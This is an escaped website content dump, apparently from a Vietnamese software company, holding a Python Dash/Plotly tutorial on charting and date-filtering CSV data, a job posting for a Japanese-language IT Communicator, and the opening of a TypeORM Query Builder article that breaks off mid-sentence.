hơn 35 loại biểu đồ và hiển thị biểu đồ ở cả vector-quality SVG và high-performance WebGL. Một lưu ý nhỏ ở đây là Plotly.js chỉ dùng để render lên trình duyệt (do Dash thực hiện) còn khi code chúng ta sẽ dùng thư viện Plotly.py (được cung cấp sẵn khi cài đặt Dash) chứ không code trực tiếp bằng javascript.",[11,24871,24872,24873,24875],{},"Để biết cách sử dụng \"",[1277,24874,24865],{},"\" component chúng ta hãy đến với ví dụ hiển thị data csv lên trình duyệt dưới dạng đồ thị đường gấp khúc:",[11,24877,24878],{},[1277,24879,24880],{},"csv\u002Fgraph_sample.csv",[696,24882,24885],{"className":24883,"code":24884,"language":701},[699],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211220 101010.000,30,100,124,197\n20211220 101010.010,40,110,134,65\n20211220 101010.020,50,140,214,149\n20211220 101010.030,60,150,169,-98\n20211220 101010.040,70,160,204,-173\n20211220 101010.050,80,170,164,-108\n20211220 101010.060,90,180,148,150\n20211220 101010.070,100,190,180,92\n20211220 101010.080,110,200,268,94\n20211220 101010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n",[703,24886,24884],{"__ignoreMap":66},[11,24888,24889],{},"Đầu tiên chúng ta cần dùng pandas để load file csv",[696,24891,24894],{"className":24892,"code":24893,"language":701},[699],"df = pd.read_csv('csv\u002Fgraph_sample.csv')\n",[703,24895,24893],{"__ignoreMap":66},[11,24897,24898],{},"In biến df ra console xem thử cấu trúc của nó",[696,24900,24903],{"className":24901,"code":24902,"language":701},[699],"print(df)\n",[703,24904,24902],{"__ignoreMap":66},[533,24906],{"className":24907,"alt":66,"src":24908,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144341\u002Fexample_wide_form.png",[11,24910,24911],{},"Tới đây bạn có thấy hơi quen quen không? Chính xác, nó là Dữ liệu dạng rộng mà chúng ta đã đề cập ở phần tìm hiểu Pandas ở trên!",[11,24913,24914],{},"Bước tiếp theo chúng ta chuyển dữ liệu của cột DateTime từ string thành datetime để chart của chúng ta hiển thị chính xác ngày và giờ của dữ liệu",[696,24916,24919],{"className":24917,"code":24918,"language":701},[699],"df['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n",[703,24920,24918],{"__ignoreMap":66},[11,24922,24923],{},"Bây giờ chúng ta tạo một line figure bằng plotly express",[696,24925,24928],{"className":24926,"code":24927,"language":701},[699],"line_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[703,24929,24927],{"__ignoreMap":66},[11,24931,24932],{},"Truyền figure vào Graph component",[696,24934,24937],{"className":24935,"code":24936,"language":701},[699],"app.layout = html.Div(children=[\n    dcc.Graph(id='graph', figure=line_fig)\n])\n",[703,24938,24936],{"__ignoreMap":66},[11,24940,24941,24942],{},"Code hoàn chỉnh ",[1277,24943,24944],{},"graph_demo.py",[696,24946,24949],{"className":24947,"code":24948,"language":701},[699],"import dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fgraph_sample.csv')\nprint(df)\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\nline_fig = px.line(df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\napp.layout = html.Div(children=[\n   dcc.Graph(id='graph', figure=line_fig)\n])\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,24950,24948],{"__ignoreMap":66},[11,24952,24953],{},"Trong terminal chạy lệnh:",[696,24955,24958],{"className":24956,"code":24957,"language":701},[699],"python graph_demo.py\n",[703,24959,24957],{"__ignoreMap":66},[11,24961,24962,24963,24967],{},"Sau đó truy cập ",[58,24964,24965],{"href":24965,"rel":24966},"http:\u002F\u002F127.0.0.1:8050\u002F",[62]," để xem kết quả",[533,24969],{"className":24970,"alt":66,"src":24971,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31144923\u002Fexample_graph-1024x373.png",[11,24973,24974],{},"Trong ví dụ trên:",[31,24976,24977,24980],{},[34,24978,24979],{},"Thư viện Pandas được dùng để xử lý data đầu vào (đọc csv, chuyển dữ liệu của cột DateTime từ string thành datetime).",[34,24981,24982],{},"Plotly Express (nằm trong thư viện Plotly.py) chịu trách nhiệm quy định kiểu biểu đồ (đường gấp khúc, phân tán,...), x-axis, y-axis,... của Graph đầu ra.",[657,24984,24986],{"id":24985},"dash-callbacks","Dash Callbacks",[11,24988,24989],{},"Callback functions: các hàm được Dash tự động gọi bất cứ khi nào thuộc tính của input component thay đổi, để cập nhật một số thuộc tính trong component khác (output).",[11,24991,24992,24993],{},"Để hiểu về Callbacks chúng ta hãy đến với ví dụ về filter dữ liệu theo ngày, với input lấy từ component dcc.DatePickerRange: ",[1277,24994,24995],{},"csv\u002Fcallbacks_sample.csv",[696,24997,25000],{"className":24998,"code":24999,"language":701},[699],"DateTime,DATA 1,DATA 2,DATA 3,DATA 4\n20211219 101010.010,10,200,178,90\n20211219 111010.020,20,150,134,25\n20211219 121010.030,5,130,210,11\n20211219 131010.040,15,110,100,-97\n20211219 141010.050,60,150,143,-17\n20211219 151010.060,30,140,132,30\n20211219 161010.070,20,180,167,45\n20211219 171010.080,16,120,240,123\n20211219 181010.090,75,190,153,40\n20211219 191010.100,90,250,162,-10\n20211220 001010.000,68,142,156,1\n20211220 011010.010,40,110,134,65\n20211220 021010.020,50,140,214,149\n20211220 031010.030,60,150,169,-98\n20211220 041010.040,70,160,204,-173\n20211220 051010.050,80,170,164,-108\n20211220 061010.060,90,180,148,150\n20211220 071010.070,100,190,180,92\n20211220 081010.080,110,200,268,94\n20211220 091010.090,120,210,164,-139\n20211220 101010.100,130,220,254,-132\n20211221 001010.000,10,90,142,30\n20211221 011010.010,30,100,162,55\n20211221 021010.020,80,120,180,20\n20211221 031010.030,70,110,176,-10\n20211221 041010.040,50,130,194,-90\n20211221 051010.050,60,140,202,-120\n20211221 061010.060,90,150,164,100\n20211221 071010.070,120,160,197,132\n20211221 081010.080,110,170,186,40\n20211221 091010.090,130,210,182,-130\n20211221 101010.100,120,230,210,-100\n",[703,25001,24999],{"__ignoreMap":66},[11,25003,25004],{},[1277,25005,25006],{},"callbacks_demo.py",[696,25008,25011],{"className":25009,"code":25010,"language":701},[699],"from datetime import datetime, timedelta\n\nimport dash\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\napp = dash.Dash(__name__)\n\ndf = pd.read_csv('csv\u002Fcallbacks_sample.csv')\ndf['DateTime'] = pd.to_datetime(df['DateTime'], format='%Y%m%d %H:%M:%S.%f')\n\ninit_start_date = df['DateTime'].min().strftime('%Y-%m-%d')\ninit_end_date = df['DateTime'].max().strftime('%Y-%m-%d')\n\napp.layout = html.Div(children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       start_date=init_start_date,\n       end_date=init_end_date,\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       filtered_df = df[(start_date \u003C= df['DateTime']) & (df['DateTime'] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,25012,25010],{"__ignoreMap":66},[11,25014,25015,25016,25019,25020,25023,25024,25027,25028,25023,25031,595],{},"Trong Dash, các input và output của ứng dụng của chúng ta chỉ đơn giản là các property của một component cụ thể. Trong ví dụ này, input của chúng ta là property \"",[1277,25017,25018],{},"start_date","\" và \"",[1277,25021,25022],{},"end_date","\" của component có ID \"",[1277,25025,25026],{},"date-picker-range","\". Output của chúng ta là property \"",[1277,25029,25030],{},"figure",[1277,25032,25033],{},"scatter-graph",[11,25035,25036,25037,25040,25041,25044,25045,1091,25047,25049,25050,25052,25053,1780],{},"Bất cứ khi nào input property thay đổi, function mà có khai báo decorator ",[1277,25038,25039],{},"@callback"," sẽ được gọi tự động. Dash cung cấp cho callback function này giá trị mới của input property làm argument (trong ví dụ trên function ",[1277,25042,25043],{},"update_figure"," có 2 argument là ",[1277,25046,25018],{},[1277,25048,25022],{},"), và Dash cập nhật property của output component với bất kỳ giá trị nào được function trả về (trong ví dụ trên function ",[1277,25051,25043],{}," trả về ",[1277,25054,25055],{},"scatter_fig",[11,25057,25058,25059,25062,25063,20930],{},"Trong terminal chạy lệnh ",[703,25060,25061],{},"python callbacks_demo.py"," và truy cập vào ",[58,25064,24965],{"href":24965,"rel":25065},[62],[533,25067],{"className":25068,"alt":66,"src":25069,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145606\u002Fcallback_demo_pic1-1024x381.png",[11,25071,25072,25073],{},"Sau khi thay đổi ",[1277,25074,25022],{},[533,25076],{"className":25077,"alt":66,"src":25078,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31145648\u002Fcallbacks_demo_pic2-1024x387.png",[498,25080,25082],{"id":25081},"tối-ưu-hóa-và-thêm-chức-năng","Tối ưu hóa và thêm chức năng",[11,25084,25085],{},"Ở phần này chúng ta lấy code ở phần Callbacks để tối ưu hóa và thêm chức năng cho nó.",[657,25087,25089],{"id":25088},"đọc-n-data","Đọc n DATA",[11,25091,25092],{},"Hiện tại chúng ta đang set cứng số lượng data đầu vào là 4.",[696,25094,25097],{"className":25095,"code":25096,"language":701},[699],"scatter_fig = px.scatter(filtered_df, x='DateTime', y=['DATA 1', 'DATA 2', 'DATA 3', 'DATA 4'])\n",[703,25098,25096],{"__ignoreMap":66},[11,25100,25101],{},"Giả sử chúng ta có số lượng data bất kỳ DATA 1, DATA 2,..., DATA n thì với đoạn code trên chúng ta chỉ có thể đọc và hiển thị được 4 data mà thôi. Để đọc và hiển thị lên biểu đồ n DATA, chúng ta cần chỉnh sửa code lại một chút:",[696,25103,25106],{"className":25104,"code":25105,"language":701},[699],"# get first columns name for x-axis\nx_col_name = df.columns[0]\n# get list column name except first column for y-axis\ny_col_name_list = df.columns[1:]\nfiltered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\nscatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n",[703,25107,25105],{"__ignoreMap":66},[657,25109,25111],{"id":25110},"đọc-config-từ-header-của-csv","Đọc config từ header của CSV",[11,25113,25114],{},"Xét header của CSV như sau",[696,25116,25119],{"className":25117,"code":25118,"language":701},[699],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n",[703,25120,25118],{"__ignoreMap":66},[11,25122,25123],{},"Chúng ta sẽ thêm chức năng đọc config từ header trên:",[31,25125,25126,25129],{},[34,25127,25128],{},"Đọc config của cột DateTime để set format date time (hiện tại đang set cứng trong code).",[34,25130,25131,25132,1091,25135,25138,25139,25141,25142,25144],{},"Đọc config ",[1277,25133,25134],{},"minFilter",[1277,25136,25137],{},"maxFilter"," của các cột DATA để lọc bỏ những data có giá trị nhỏ hơn ",[1277,25140,25134],{}," và lớn hơn ",[1277,25143,25137],{}," của cột DATA đó.",[11,25146,25147,25148,25151],{},"Đầu tiên thêm file ",[1277,25149,25150],{},"utils.py"," chứa các function common",[696,25153,25156],{"className":25154,"code":25155,"language":701},[699],"import re\n\n_format_convertor = (\n   ('yyyy', '%Y'), ('yyy', '%Y'), ('yy', '%y'), ('y', '%y'),\n   ('MMMM', '%B'), ('MMM', '%b'), ('MM', '%m'), ('M', '%m'),\n   ('dddd', '%A'), ('ddd', '%a'), ('dd', '%d'), ('d', '%d'),\n   ('HH', '%H'), ('H', '%H'), ('hh', '%I'), ('h', '%I'),\n   ('mm', '%M'), ('m', '%M'),\n   ('ss', '%S'), ('s', '%S'),\n   ('tt', '%p'), ('t', '%p'),\n   ('fff', '%f'),\n   ('zzz', '%z'), ('zz', '%z'), ('z', '%z'),\n)\n\ndef convert_py_datetime_format(in_format):\n   out_format = ''\n   while in_format:\n       if in_format[0] == \"'\":\n           apos = in_format.find(\"'\", 1)\n           if apos == -1:\n               apos = len(in_format)\n           out_format += in_format[1:apos].replace('%', '%%')\n           in_format = in_format[apos + 1:]\n       elif in_format[0] == '\\\\':\n           out_format += in_format[1:2].replace('%', '%%')\n           in_format = in_format[2:]\n       else:\n           for intok, outtok in _format_convertor:\n               if in_format.startswith(intok):\n                   out_format += outtok\n                   in_format = in_format[len(intok):]\n                   break\n           else:\n               out_format += in_format[0].replace('%', '%%')\n               in_format = in_format[1:]\n   return out_format\n\ndef extract_csv_col_config(col_name: str):\n   try:\n       found = re.search('\\\\((.*)\\\\)', col_name)\n       col_name = col_name.replace(found.group(0), '')\n       config_string = found.group(1)\n       config_list = config_string.split(';')\n       configs = []\n       for config in config_list:\n           key_value_list = config.split('=')\n           key = key_value_list[0]\n           value = key_value_list[1] if len(key_value_list) > 1 else None\n           configs.append((key, value))\n   except AttributeError:\n       configs = []\n   return col_name, configs\n",[703,25157,25155],{"__ignoreMap":66},[11,25159,25160],{},"Ở đoạn code trên:",[31,25162,25163,25170],{},[34,25164,25165,25166,25169],{},"Function ",[1277,25167,25168],{},"convert_py_datetime_format"," dùng để chuyển đổi format kiểu yyyyMMdd HH:mm:ss.fff sang dạng format của Python.",[34,25171,25165,25172,25175,25176,25179,25180,25183,25184],{},[1277,25173,25174],{},"extract_csv_col_config"," sẽ nhận vào tên của cột chứa config và trả về tên cột đã cắt bỏ phần string config cùng với array chứa các config của cột đó. Ví dụ ",[703,25177,25178],{},"DATA 1(minFilter=20;maxFilter=100)"," sẽ trả về ",[703,25181,25182],{},"DATA 1"," và array ",[703,25185,25186],{},"[(minFilter, 20), (maxFilter, 100)]",[11,25188,25189,25190,25193,25194],{},"Tiếp theo thêm function ",[1277,25191,25192],{},"process_csv_variable"," vào ",[1277,25195,25196],{},"app.py",[696,25198,25201],{"className":25199,"code":25200,"language":701},[699],"from datetime import datetime, timedelta\n\nimport dash\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nfrom dash import dcc, Output, Input\nfrom dash import html\n\nfrom utils import extract_csv_col_config, convert_py_datetime_format\n\ndef process_csv_variable(df_param):\n   # process x-axis csv variable\n   old_x_col_name = df_param.columns[0]\n   new_x_col_name, configs = extract_csv_col_config(old_x_col_name)\n   datetime_format = configs[0][0]\n   df_param = df_param.rename(columns={old_x_col_name: new_x_col_name})\n   df_param[new_x_col_name] = pd.to_datetime(df_param[new_x_col_name],\n                                             format=convert_py_datetime_format(datetime_format))\n   # process y-axis csv variable\n   y_col_name_list = df_param.columns[1:]\n   for old_y_col_name in y_col_name_list:\n       new_y_col_name, configs = extract_csv_col_config(old_y_col_name)\n       df_param = df_param.rename(columns={old_y_col_name: new_y_col_name})\n       for config, value in configs:\n           if config == 'minFilter':\n               df_param.loc[df_param[new_y_col_name] \u003C int(value), new_y_col_name] = np.nan\n           elif config == 'maxFilter':\n               df_param.loc[df_param[new_y_col_name] > int(value), new_y_col_name] = np.nan\n   return df_param\n\napp = dash.Dash(__name__)\n\napp.layout = html.Div(id='container', children=[\n   dcc.DatePickerRange(\n       id='date-picker-range',\n       minimum_nights=0,\n       display_format='YYYY\u002FMM\u002FDD'\n   ),\n   dcc.Graph(id='scatter-graph'),\n])\n\n@app.callback(\n   Output('date-picker-range', 'start_date'),\n   Output('date-picker-range', 'end_date'),\n   Input('container', 'id')\n)\ndef update_date_picker(id):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   x_col_name = df.columns[0]\n\n   init_start_date = df[x_col_name].min().strftime('%Y-%m-%d')\n   init_end_date = df[x_col_name].max().strftime('%Y-%m-%d')\n   return init_start_date, init_end_date\n\n@app.callback(\n   Output('scatter-graph', 'figure'),\n   Input('date-picker-range', 'start_date'),\n   Input('date-picker-range', 'end_date')\n)\ndef update_figure(start_date, end_date):\n   df = pd.read_csv('csv\u002Fapp_sample.csv')\n   df = process_csv_variable(df)\n   if start_date is not None and end_date is not None:\n       start_date = datetime.fromisoformat(start_date)\n       end_date = datetime.fromisoformat(end_date) + timedelta(days=1)\n       # get first columns name for x-axis\n       x_col_name = df.columns[0]\n       # get list column name except first column for y-axis\n       y_col_name_list = df.columns[1:]\n       filtered_df = df[(start_date \u003C= df[x_col_name]) & (df[x_col_name] \u003C= end_date)]\n       scatter_fig = px.scatter(filtered_df, x=x_col_name, y=y_col_name_list)\n\n       return scatter_fig\n\nif __name__ == '__main__':\n   app.run_server(debug=True)\n",[703,25202,25200],{"__ignoreMap":66},[11,25204,25165,25205,25207,25208,25211],{},[1277,25206,25192],{}," sẽ nhận vào DataFrame, đọc config từ tên cột, xử lý data dựa theo config và sẽ trả về DataFrame sau khi xử lý. Bây giờ chúng ta thêm file ",[1277,25209,25210],{},"csv\u002Fapp_sample.csv"," để test",[696,25213,25216],{"className":25214,"code":25215,"language":701},[699],"DateTime(yyyyMMdd HH:mm:ss.fff),DATA 1(minFilter=20;maxFilter=100),DATA 2(maxFilter=140),DATA 3,DATA 4,DATA 5\n20211219 101010.010,10,200,178,90,110\n20211219 111010.020,20,150,134,25,120\n20211219 121010.030,5,130,210,11,90\n20211219 131010.040,15,110,100,-97,80\n20211219 141010.050,60,150,143,-17,130\n20211219 151010.060,30,140,132,30,140\n20211219 161010.070,20,180,167,45,150\n20211219 171010.080,16,120,240,123,160\n20211219 181010.090,75,190,153,40,150\n20211219 191010.100,90,250,162,-10,170\n20211220 001010.000,68,142,156,1,180\n20211220 011010.010,40,110,134,65,130\n20211220 021010.020,50,140,214,149,190\n20211220 031010.030,60,150,169,-98,200\n20211220 041010.040,70,160,204,-173,190\n20211220 051010.050,80,170,164,-108,180\n20211220 061010.060,90,180,148,150,170\n20211220 071010.070,100,190,180,92,150\n20211220 081010.080,110,200,268,94,160\n20211220 091010.090,120,210,164,-139,140\n20211220 101010.100,130,220,254,-132,130\n20211221 001010.000,10,90,142,30,150\n20211221 011010.010,30,100,162,55,160\n20211221 021010.020,80,120,180,20,170\n20211221 031010.030,70,110,176,-10,110\n20211221 041010.040,50,130,194,-90,90\n20211221 051010.050,60,140,202,-120,80\n20211221 061010.060,90,150,164,100,70\n20211221 071010.070,120,160,197,132,60\n20211221 081010.080,110,170,186,40,50\n20211221 091010.090,130,210,182,-130,40\n20211221 101010.100,120,230,210,-100,30\n",[703,25217,25215],{"__ignoreMap":66},[11,25219,25058,25220,25062,25223,20930],{},[703,25221,25222],{},"python app.py",[58,25224,24965],{"href":24965,"rel":25225},[62],[533,25227],{"className":25228,"alt":66,"src":25229,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150435\u002Fapp_demo1-1024x371.png",[11,25231,25232],{},"Để dễ kiểm tra kết quả chúng ta ẩn các data khác chỉ hiển thị DATA 1",[533,25234],{"className":25235,"alt":66,"src":25236,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31150508\u002Fapp_demo2-1024x373.png",[11,25238,25239],{},"Chúng ta thấy các data có value nhỏ hơn 20 và lớn hơn 100 đã bị lọc bỏ.",[490,25241,25243],{"id":25242},"source-code","Source code",[11,25245,25246],{},[58,25247,25248],{"href":25248,"rel":25249},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Fpython-dash-sample",[62],[490,25251,7462],{"id":5255},[11,25253,25254],{},[58,25255,25256],{"href":25256,"rel":25257},"https:\u002F\u002Fdash.plotly.com\u002F",[62],[11,25259,25260],{},[58,25261,25262],{"href":25262,"rel":25263},"https:\u002F\u002Fpandas.pydata.org\u002Fdocs\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":25265},[25266,25267,25268,25273],{"id":24637,"depth":67,"text":24638},{"id":24662,"depth":67,"text":24663},{"id":24711,"depth":67,"text":24712,"children":25269},[25270,25271,25272],{"id":24740,"depth":1417,"text":24741},{"id":24845,"depth":1417,"text":24846},{"id":24985,"depth":1417,"text":24986},{"id":25081,"depth":67,"text":25082,"children":25274},[25275,25276],{"id":25088,"depth":1417,"text":25089},{"id":25110,"depth":1417,"text":25111},"2022-01-25","Giới thiệu về Dash Dash là một thư viện mã nguồn mở được phát hành theo giấy phép MIT. Được viết trên Plotly.js và React.js, Dash lý tưởng cho việc xây dựng và triển khai các ứng dụng dữ liệu với UI (giao diện người dùng) tùy chỉnh. Dash đủ đơn giản để bạn có thể liên kết UI với code của mình trong vòng chưa đầy 10 phút. Ứng dụng Dash được render lên trình duyệt web, vì vậy nó có thể chạy trên đa nền tảng và cả thiết bị di động.",{},"\u002Fvi\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash",{"title":24621,"description":25278},"vi\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F04082100\u002Fpython_dash.png","tjesywSY2PQbUnh-0WLicZZzj-m7fw6Dxlys189Xhhc",{"id":25286,"title":25287,"body":25288,"category":69,"created by":6140,"date":25360,"description":25361,"extension":72,"meta":25362,"navigation":74,"path":25363,"sections":76,"seo":25364,"stem":25365,"thumbnail":25366,"__hash__":25367},"content_vi\u002Fvi\u002Fnews\u002Ftuyen-dung-experienced-it-communicator.md","Tuyển dụng Experienced IT Communicator",{"type":8,"value":25289,"toc":25356},[25290,25293,25300,25303,25315,25321,25324,25327,25338,25344,25350,25353],[11,25291,25292],{},"Bạn thông thạo tiếng Nhật, yêu thích công nghệ và muốn trở thành cầu nối giữa khách hàng Nhật Bản và đội ngũ phát triển? ",[11,25294,25295,25296,25299],{},"Briswell Vietnam hiện đang tìm kiếm ứng viên cho vị trí ",[20,25297,25298],{},"IT Communicator (Experienced) - Phiên dịch viên tiếng Nhật (Có kinh nghiệm)"," và rất mong được hợp tác cùng bạn!",[11,25301,25302],{},"Tìm hiểu thêm thông tin các yêu cầu cho vị trí này và nộp hồ sơ tại:",[11,25304,25305,25308,974],{},[20,25306,25307],{},"🔎",[58,25309,25312],{"href":25310,"rel":25311},"https:\u002F\u002Fwww.vietnamworks.com\u002Fit-communicator-experienced-phien-dich-vien-tieng-nhat-it-co-kinh-nghiem-1931116-jd",[62],[20,25313,25314],{},"IT Communicator (Experienced) - Phiên dịch viên tiếng Nhật (Có kinh nghiệm) - Vietnamworks",[657,25316,25318],{"id":25317},"vị-trí-it-communicator-tại-briswell-vietnam-sẽ-làm-gì",[20,25319,25320],{},"Vị trí IT Communicator tại Briswell Vietnam sẽ làm gì?",[11,25322,25323],{},"Briswell mang đến môi trường làm việc chuyên nghiệp, nơi bạn có thể phát triển kỹ năng chuyên môn và tư duy kỹ thuật.",[11,25325,25326],{},"Bạn tò mò về công việc IT COM thực tế tại Briswell ? Hãy đọc thêm tại blog của chúng tôi:",[11,25328,25329,56,25332],{},[20,25330,25331],{},"Blog:",[58,25333,25335],{"href":25334},"\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam",[20,25336,25337],{},"https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam\u002F",[657,25339,25341],{"id":25340},"sẵn-sàng-ứng-tuyển-cùng-briswell-vietnam",[20,25342,25343],{},"Sẵn sàng ứng tuyển cùng Briswell Vietnam?",[11,25345,25346,25349],{},[20,25347,25348],{},"Ứng tuyển ngay qua link VietnamWorks"," được đính kèm ở đầu bài viết.",[11,25351,25352],{},"Hạn cuối nhận hồ sơ: 06\u002F08\u002F2025.",[11,25354,25355],{},"Chúng tôi rất mong được đồng hành cùng bạn!",{"title":66,"searchDepth":67,"depth":67,"links":25357},[25358,25359],{"id":25317,"depth":1417,"text":25320},{"id":25340,"depth":1417,"text":25343},"2025-07-14","Bạn thông thạo tiếng Nhật, yêu thích công nghệ và muốn trở thành cầu nối giữa khách hàng Nhật Bản và đội ngũ phát triển?  Briswell Vietnam hiện đang tìm kiếm ứng viên cho vị trí IT Communicator (Experienced) – Phiên dịch viên tiếng Nhật (Có kinh nghiệm) và rất mong được hợp tác cùng bạn! Tìm hiểu thêm thông tin các yêu cầu cho vị trí này và nộp hồ sơ tại",{},"\u002Fvi\u002Fnews\u002Ftuyen-dung-experienced-it-communicator",{"title":25287,"description":25361},"vi\u002Fnews\u002Ftuyen-dung-experienced-it-communicator","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F07\u002F14161503\u002FWe-are-1-e1752484829402.png","cOYSex9g8xQxvgXjh9JDGkYWXIsyt1RxeQPdXbfCAP0",{"id":25369,"title":25370,"body":25371,"category":1430,"created by":70,"date":25901,"description":25902,"extension":72,"meta":25903,"navigation":74,"path":25904,"sections":76,"seo":25905,"stem":25906,"thumbnail":25907,"__hash__":25908},"content_vi\u002Fvi\u002Fnews\u002Ftypeorm.md","TypeORM và Query Builder trong TypeORM",{"type":8,"value":25372,"toc":25886},[25373,25377,25380,25383,25387,25390,25393,25397,25400,25403,25406,25409,25413,25416,25419,25422,25425,25428,25431,25437,25440,25446,25449,25455,25461,25464,25470,25476,25479,25485,25491,25494,25500,25506,25512,25514,25520,25526,25532,25534,25540,25546,25552,25554,25560,25566,25572,25574,25580,25586,25589,25592,25597,25603,25605,25611,25616,25622,25625,25631,25636,25642,25647,25653,25658,25664,25669,25672,25675,25681,25687,25690,25696,25700,25706,25708,25713,25717,25723,25725,25730,25734,25740,25742,25747,25751,25757,25759,25764,25768,25774,25776,25781,25786,25792,25798,25802,25808,25810,25816,25820,25826,25828,25834,25838,25844,25848,25854,25858,25864,25866,25869,25872,25875,25878,25880],[498,25374,25375],{"id":5417},[20,25376,5418],{},[11,25378,25379],{},"TypeORM là một ORM có thể chạy trong các nền tảng NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo và Electron và có thể được sử dụng với TypeScript và JavaScript (ES5, ES6, ES7, ES8). Mục tiêu của nó là luôn hỗ trợ các tính năng JavaScript mới nhất và cung cấp các tính năng bổ sung giúp bạn phát triển bất kỳ loại ứng dụng nào sử dụng cơ sở dữ liệu - từ các ứng dụng nhỏ với một vài bảng đến các ứng dụng doanh nghiệp quy mô lớn với nhiều cơ sở dữ liệu.",[11,25381,25382],{},"ORM là một loại công cụ ánh xạ các thực thể với các bảng cơ sở dữ liệu. ORM cung cấp đơn giản hóa quá trình phát triển bằng cách tự động hóa chuyển đổi đối tượng sang bảng và từ bảng sang đối tượng.",[657,25384,25386],{"id":25385},"tổng-quan","Tổng quan",[11,25388,25389],{},"TypeORM là một thư viện Object Relational Mapper chạy trong node.js và được viết bằng TypeScript. TypeScript là một cải tiến đối với JavaScript với kiểu gõ tùy chọn. TypeScript là một ngôn ngữ biên dịch. Nó không được diễn giải tại thời điểm chạy run-time. Trình biên dịch TypeScript biên dịch file TypeScript (.ts) thành file JavaScript (.js).",[11,25391,25392],{},"TypeORM hỗ trợ nhiều cơ sở dữ liệu như MySQL, PostgreSQL, MariaDB, SQLite, MS SQL Server, Oracle, SAP Hana và WebSQL. TypeORM là ORM dễ sử dụng để tạo mới ứng dụng kết nối với cơ sở dữ liệu. Chức năng TypeORM là các khái niệm dành riêng cho RDBMS.",[657,25394,25396],{"id":25395},"đặc-điểm-của-typeorm","Đặc điểm của TypeORM",[11,25398,25399],{},"Tự động tạo các lược đồ bảng cơ sở dữ liệu dựa trên các mô hình của bạn",[11,25401,25402],{},"Dễ dàng chèn, cập nhật và xóa đối tượng trong cơ sở dữ liệu",[11,25404,25405],{},"Tạo ánh xạ (một-một, một-nhiều và nhiều-nhiều) giữa các bảng",[11,25407,25408],{},"Cung cấp các lệnh CLI đơn giản",[657,25410,25412],{"id":25411},"lợi-ích-của-typeorm","Lợi ích của TypeORM",[11,25414,25415],{},"TypeORM rất dễ sử dụng ORM framework với coding đơn giản. Nó có những lợi ích sau:",[11,25417,25418],{},"1. Các ứng dụng chất lượng cao và được ghép nối lỏng lẻo",[11,25420,25421],{},"2. Các ứng dụng có thể mở rộng",[11,25423,25424],{},"3. Dễ dàng tích hợp với các modules khác",[11,25426,25427],{},"4. Hoàn toàn phù hợp với mọi kiến trúc từ ứng dụng nhỏ đến ứng dụng doanh nghiệp",[11,25429,25430],{},"Trong typeorm có rất nhiều tính năng nhưng trong blog này mình sẽ viết về cách sử dụng query builder của typeorm với typescript.",[498,25432,25434],{"id":25433},"query-builder",[20,25435,25436],{},"Query Builder",[11,25438,25439],{},"Query builder được sử dụng để xây dựng các truy vấn SQL phức tạp một cách dễ dàng. Nó được khởi tạo từ phương thức 